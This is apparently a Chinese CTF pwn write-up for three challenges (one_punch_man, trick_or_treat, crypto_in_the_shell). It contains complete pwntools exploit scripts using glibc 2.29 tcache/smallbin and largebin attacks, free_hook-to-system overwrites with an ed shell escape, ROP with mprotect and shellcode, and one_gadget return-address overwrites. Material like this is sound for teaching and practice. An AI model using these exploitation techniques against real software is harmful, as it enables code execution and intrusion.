summary
tag:2.29 largebin attack、tcache unlink smashing、python-AES-解密、pwn-misc
one_punch_man: double free的漏洞、calloc得到chunk,需要按照条件,某个值大于6,调用后门函数。思路一:tcache unlink smashing。思路二 largebin attack。
trick_or_treat:创建一个任意大小的chunk,然后任意地址向后写入。发现改malloc_hook和free_hook为one_gadget都不能成功,没办法了,请教google了。最后是改free_hook为system,最后输入!/bin/sh来getshell。但是由于在输入的时候我们不能输入16进制数以外的数字,所以我们需要绕过一下:ed是一个旧的默认Unix控制台编辑器。通常ed是提供给用户,它功能非常简单,但它仍然有内部的第三方命令执行功能,非常类似于vim。一旦进,ed,我们可以通过执行!’/bin/sh’来获取正常的shell。
crypto_in_the_shell:1.libc地址 2.返回地址.这些都可以通过上溢出和下溢出来得到,得到之后将返回栈地址的值改为one_gadget就可以了。通过上溢出得到AESkey和iv的值,这样的话就可以通过python自带的解密函数来进行decode得到真实值。
One-Punch-man
查看文件
IDA分析
主函数:create、delete、edit、show、backdoor
create:
delete:double free的漏洞
show:puts出数据(\x00截断)
edit:根据size来进行编辑
backdoor函数:
注意里面有个沙箱:
解法一
既然有UAF,并且可以编辑那么首先想到的就是fastbin attack类型。但是这里的问题是create时不走tcache,释放却要走tcache。考虑在fastbin中double free由于size必须大于0x80,所以也放弃这个想法。
但是我们注意backdoor中malloc可以从tcache中拿chunk。那么就可以考虑利用UAF来将tcache中0x220chunk的fd改为hook来劫持程序流。
由于libc和heap地址都很好泄露,通过UAF就可以泄露libc(largebin 0x410)和heap地址(tcache链中有两个chunk就可以),那么问题就只有一个,就是如何调用这个backdoor。tcache header中对应的地址必须大于6,这个地方的值是tcache 0x220链的个数。发现修改这个地方的值没有别的方式来实现tcache中的“fastbin attack”。
这样的话问题就是如何修改这个地址的值。这里我们考虑三种方法:
1.largebin attack
2.smallbin attack,任意地址写libc地址
3.用UAF构造chunk overlap;用 tcache->counts 来伪造 size,用 tcache->entries 伪造 fake_chunk 的 fd 和 bk,提前布置好 堆布局,以便绕过 unlink 检查; unlink 控制 tcache->entries,劫持hook控制程序流,然后SROP再执行shellcode读取flag。
第一种思路相对比较明确,第三种不太清楚。详细介绍第二种方法:
通过分配smallbin利用UAF来达到任意地址写libc地址的目的。具体是怎样的呢?
当我们分配一个smallbin中的chunk时会进行一次unlink,当这个smallbin的链中有不止一个chunk的时候会进行归入 tcache 的操作:源代码中第一个红框是分配的那个smallbin的chunk进行unlink,下面的红框是剩余的smallbin中chunk归入tcache时的归类操作。我们看到下面的红框中没有完整性检查。
进一步分析各个参数:bin的值是main_arena附近的地址,bck的值是victim_chunk->bk。我们定位到bck->fd = bin。实际上就是*(bck+0x10) = bin(main_arena附近的libc 地址),和unsorted bin attack类似的效果。bck由于UAF我们可控,那么就是任意地址写libc地址了。
实现效果类似unsorted bin attack,但是要求相对较多:
1.smallbin中同一条链至少两个chunk,先释放的为chunk1、后释放的为chunk2,根据smallbin分配原理,如果需要的话它会先分配chunk1给程序,此时tcache不满则对chunk2进行归入tcache操作。
2.接下来就是第二点:tcache对应的size的chunk number要等于6,否则由于归入chunk2后,此时tcache的chunk number<7则还会进行一次unlink,参数的修改会导致程序崩溃。
最后需要再说明两点:
1.由于create的时候,先将数据读入栈中,再写到chunk中,所以最后劫持hook之后可以利用add esp 0x48;ret指令控制程序流进行rop,执行mprotect,最后再跳转进提前构造的shellcode执行。
2.最后mprotect也踩坑了,其start地址和length长度必须要以0x1000对齐。
exp1
#coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux","split","-h"]
p = process("./one_punch")
elf = ELF("./one_punch")
libc = ELF("./libc-2.29.so")
context.arch = 'amd64'
def create(index,name):
p.sendlineafter("> ",str(1))
p.sendlineafter("idx: ",str(index))
p.sendafter("name: ",name)
def rename(index,name):
p.sendlineafter("> ",str(2))
p.sendlineafter("idx: ",str(index))
p.sendafter("name: ",name)
def show(index):
p.sendlineafter("> ",str(3))
p.sendlineafter("idx: ",str(index))
def delete(index):
p.sendlineafter("> ",str(4))
p.sendlineafter("idx: ",str(index))
def backdoor(content):
p.sendlineafter("> ",str(0xC388))
sleep(0.5)
p.send(content)
#---------fill 0x400 tcache && leak heap and libc------
for i in range(7):
create(0,"a"*0x3f0)
delete(0)
show(0) # leak heap
p.recvuntil("hero name: ")
heap_base = u64(p.recv(6).ljust(8,"\x00"))-0x000055555555a660+0x555555559000
success("heap address ==> "+hex(heap_base))
create(0,"a"*0x3f0)
create(1,"b"*0xf0)
delete(0) # 释放一个0x400的chunk进入unsorted bin
create(2,"c"*0x400) # 进入largebin,没什么luan用,之前想错了的一步
show(0)
p.recvuntil("hero name: ")
libc.address = u64(p.recv(6).ljust(8,"\x00"))-0x00007ffff7fb3090+0x7ffff7dce000
success("libc address ==>"+hex(libc.address))
create(0,0x210*"a")
delete(0)
rename(0,p64(libc.symbols["__malloc_hook"]))
#-------make two 0x100 small chunk && smallbin attack:target addr writr libc addr---------------
for i in range(6):
create(0,0xf0*"a")
delete(0)
create(0,"a"*0x3f0)
create(1,"a"*0x100)
delete(0)
create(0,0x2f0*"a")
create(1,"b"*0x3f0)
create(2,"c"*0x100)
delete(1)
create(2,0x2f0*"b")
create(2,0x3f0*"b")
rename(1,"a"*0x2f0+p64(0)+p64(0x101)+p64(heap_base+0x2f60)+p64(heap_base+0x2f-0x10))
create(2,0xf0*"c")
# ----in order alloc 0x1000 addr in control, because mprotect limit---
create(0,0x400*"a") # 这是为了令与0x1000对其的地址是可控的
create(0,0x400*"a")
shellcode = shellcraft.amd64.open("./flag")
shellcode+= shellcraft.amd64.read(3,heap_base+0x300,0x30)
shellcode+= shellcraft.amd64.write(1,heap_base+0x300,0x30)
rename(0,"a"*0x160+asm(shellcode))
backdoor("a")
backdoor(p64(libc.address+0x8cfd6)) # add rsp 0x48
payload = p64(libc.address+0x000000000012bda6)
payload+= p64(0x7)
payload+= p64(libc.search(asm("pop rdi\nret\n")).next())
payload+= p64(heap_base+0x4000) # 以0x1000对齐
payload+= p64(libc.search(asm("pop rsi\nret\n")).next())
payload+= p64(0x2000) # 以0x1000对其
payload+= p64(libc.symbols["mprotect"])
#payload+= p64(libc.search(asm("pop rip")).next())
payload+= p64(heap_base+0x4000)
create(1,payload+(0x100-len(payload))*"a")
p.interactive()
解法二
通过largebin attack来解决,本来以为2.29的largebin attack有新姿势,但是发现并没有,之前的largebin attack的攻击方法同样适用于2.29
这里主要说说遇到的坑点:
主要是条件限制,要来构造largebin attack的方法比较麻烦:最后是通过unsorted bin遍历来将最大的0x410的chunk归为。但是这个思路同样也遇到了坑点:
unsorted bin进行归类chunk到smallbin或largebin时候的一个小trick:两个相同size的chunk在unsorted bin时,分配一个不会将另一个归类。在释放排布适合的时候,两个不同size的chunk时,一个分配另一个才会归类。
如图:此时我们需要分配0x400的chunk:
exp2
#coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux","split","-h"]
p = process("./one_punch")
elf = ELF("./one_punch")
libc = ELF("./libc-2.29.so")
context.arch = 'amd64'
def create(index,name):
p.sendlineafter("> ",str(1))
p.sendlineafter("idx: ",str(index))
p.sendafter("name: ",name)
def rename(index,name):
p.sendlineafter("> ",str(2))
p.sendlineafter("idx: ",str(index))
p.sendafter("name: ",name)
def show(index):
p.sendlineafter("> ",str(3))
p.sendlineafter("idx: ",str(index))
def delete(index):
p.sendlineafter("> ",str(4))
p.sendlineafter("idx: ",str(index))
def backdoor(content):
p.sendlineafter("> ",str(0xC388))
sleep(0.5)
p.send(content)
#---------fill 0x400 tcache && leak heap and libc------
for i in range(7):
create(0,"a"*0x3f0)
delete(0)
show(0)
p.recvuntil("hero name: ")
heap_base = u64(p.recv(6).ljust(8,"\x00"))-0x000055555555a660+0x555555559000
success("heap address ==> "+hex(heap_base))
create(0,"a"*0x3f0)
for i in range(7):
create(1,"a"*0x400)
delete(1)
for i in range(7):
create(1,"a"*0x100)
delete(1)
create(1,"a"*0x100)
create(2,"a"*0x100)
delete(1)
show(1)
p.recvuntil("hero name: ")
libc.address = u64(p.recv(6).ljust(8,"\x00"))-0x7ffff7fb2ca0+0x7ffff7dce000
success("libc address ==>"+hex(libc.address))
create(1,"a"*0x100)
create(1,0x210*"a")
delete(1)
rename(1,p64(libc.symbols["__malloc_hook"]))
create(1,"a"*0x3f0)
delete(0)
create(2,"a"*0x400)
rename(0,p64(0)+p64(heap_base+0x1e)+p64(0)+p64(heap_base+0x1e))
create(2,"a"*0x400)
create(0,"a"*0x400)
delete(2)
delete(1)
create(0,"a"*0x3f0)
#---------------------------------------------------------------
create(0,0x400*"a")
create(0,0x400*"a")
shellcode = shellcraft.amd64.open("./flag")
shellcode+= shellcraft.amd64.read(3,heap_base+0x300,0x30)
shellcode+= shellcraft.amd64.write(1,heap_base+0x300,0x30)
rename(0,"a"*0x140+asm(shellcode))
# gdb.attach(p)
backdoor("a")
backdoor(p64(libc.address+0x8cfd6)) # add rsp 0x48
payload = p64(libc.address+0x000000000012bda6)
payload+= p64(0x7)
payload+= p64(libc.search(asm("pop rdi\nret\n")).next())
payload+= p64(heap_base+0x6000)
payload+= p64(libc.search(asm("pop rsi\nret\n")).next())
payload+= p64(0x2000)
payload+= p64(libc.symbols["mprotect"])
payload+= p64(heap_base+0x6000)
create(1,payload+(0x100-len(payload))*"a")
p.interactive()
trick_or_treat
查看文件
IDA分析
题目逻辑很简单,创建一个任意大小的chunk,然后任意地址向后写入。这个题很熟悉,马上就想到了分配一个大于0x23000 size的chunk其偏移和libc地址是固定的,但是为了让heap在libc地址上面,所以我们最后找到的size是0x400000。
思路
好了,接下来就是思路了:
1.想到改hook,但是又想到只有一次malloc的机会并且无释放的操作。所以想到是不是前几天虎符一样,可以改libc中某个地址为one_gadget最后call过去。最后发现没有这个地址。
2.由于没有关闭错误输出缓冲流,所以想到了写入不可写的地址来触发标准错误输出,但是也不行
3.想到了改hook,通过scanf的大量输入流来触发重新分配和释放chunk,来getshell。
第三个思路:发现改malloc_hook和free_hook为one_gadget都不能成功,没办法了,请教google了。最后是改free_hook为system,最后输入!/bin/sh来getshell。
但是由于在输入的时候我们不能输入16进制数以外的数字,所以我们需要绕过一下:ed是一个旧的默认Unix控制台编辑器。通常ed是提供给用户,它功能非常简单,但它仍然有内部的第三方命令执行功能,非常类似于vim。一旦进,ed,我们可以通过执行!’/bin/sh’来获取正常的shell,如下所示
p.sendlineafter("Offset & Value:\x00",str(hex(offset/8))+" "+str(hex(libc.symbols["system"])))
p.sendlineafter("Offset & Value:\x00","0"*0x400+" "+"ed")
p.sendline('!/bin/sh')
现在我们说明一下,scanf缓冲区的分配:(说明了即使设置了setvbuf也可以强行分配heap缓冲区)
If you pass a very large input into scanf, it will internally call both malloc and free to create a temporary buffer for your input on the heap.就是说这个缓冲区是即分配即使用,即释放的。
exp
#coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux","split",'-h']
one_gadgets = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398]
libc = ELF("./libc.so.6")
p = process("./trick_or_treat")
elf = ELF("./trick_or_treat")
p.sendlineafter("Size:",str(0x400000))
p.recvuntil("Magic:0x")
heap_addr = int(p.recv(12),16)
success("heap address ==>"+hex(heap_addr))
libc.address = heap_addr-0x7ffff75e3010+0x7ffff79e4000
success("libc address ==>"+hex(libc.address))
offset = libc.symbols["__free_hook"]-heap_addr
success("offset ==>"+hex(offset))
p.sendlineafter("Offset & Value:\x00",str(hex(offset/8))+" "+str(hex(libc.symbols["system"])))
p.sendlineafter("Offset & Value:\x00","0"*0x400+" "+"ed")
p.sendline('!/bin/sh')
# gdb.attach(p)
p.interactive()
crypto_in_the_shell
查看文件
IDA分析
思路
我们需要得到这么几个值:1.libc地址 2.返回地址.这些都可以通过上溢出和下溢出来得到,得到之后将返回栈地址的值改为one_gadget就可以了。
详细讲解:
1.首先通过上溢出得到AESkey和iv的值,这样的话就可以通过python自带的解密函数来进行decode得到真实值。
2.上溢出到stdout got表来得到libc地址。
3.上溢出到data段的起始位置,那里有data段的地址,通过这个地址减去整个data段在elf文件中的偏移,就可以得到程序加载基址
4.得到加载基址后加上elf.symbols[“buf”],便可以得到我们写数据的基址,那么我们就方便下面地址任意写和任意读
5.通过下溢出environ得到栈地址,得到全局变量times参数的地址和返回地址。
6.首先改times的值,这样可以方便我们不断的加密爆破到我们想要的one_gadget地址。(不怎么了解AES这个加密方式)
7.由于times要被改为负数才能成功,所以1/2的成功率
8.最后爆破改ret地址为one_gadget
9.调试发现environ的值最后会写道执行execve的rdx中导致执行失败,所以我们要将environ改为“\0”*8
exp
#coding="utf-8"
from pwn import *
from Crypto.Cipher import AES
p = process("./chall")
elf = ELF("./chall")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = "debug"
context.terminal = ["tmux","split","-h"]
def getInfo(offset,size):
p.sendlineafter("offset:",str(offset))
p.sendlineafter("size:",str(size))
return p.recvn((size & 0xfffffff0) + 0x10)
def decode(key,iv,data):
instance = AES.new(key,AES.MODE_CBC,iv)
return instance.decrypt(data)
# leak key and iv
result = getInfo(0xffffffffffffffe0,0x10)
key = result[:0x10]
iv = result[0x10:]
# leak libc
result = getInfo(0xffffffffffffffc0,1)
data = decode(key,iv,result)
libc.address = u64(data[:8]) - libc.symbols['_IO_2_1_stderr_']
success("libc address ==> "+hex(libc.address))
# leak binary address
# gdb.attach(p)
result = getInfo((0xfffffffffffffff0-0x390),1)
data = decode(key,iv,result)
image_base_addr = u64(data[8:16]) - 0x202008
log.success('image_base_addr: ' + hex(image_base_addr))
# get stack address
offset = libc.symbols["environ"] - image_base_addr - elf.symbols['buf']
result = getInfo(offset,1)
data = decode(key,iv,result)
stack_addr = u64(data[:8])
success("stack address: "+hex(stack_addr))
# hijcaking times variable
times_addr = stack_addr - 0x120
offset = times_addr-image_base_addr-elf.symbols["buf"]
getInfo(offset,1)
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
# arbitrary memory writing:
one_gadget = p64(libc.address + 0x4f322)
offset = (stack_addr-0xf0) - (image_base_addr+elf.symbols['buf'])
for i in range(8):
while(True):
result = getInfo(offset + i, 1)
if(one_gadget[i] == result[0]):
log.success('i : ' + str(i))
break
content = "\0"*8
offset = libc.symbols["environ"] - image_base_addr - elf.symbols['buf']
for i in range(8):
while(True):
result = getInfo(offset + i, 1)
if(content[i] == result[0]):
log.success('i : ' + str(i))
break
# gdb.attach(p)
p.sendlineafter('offset:', 'a')
p.interactive()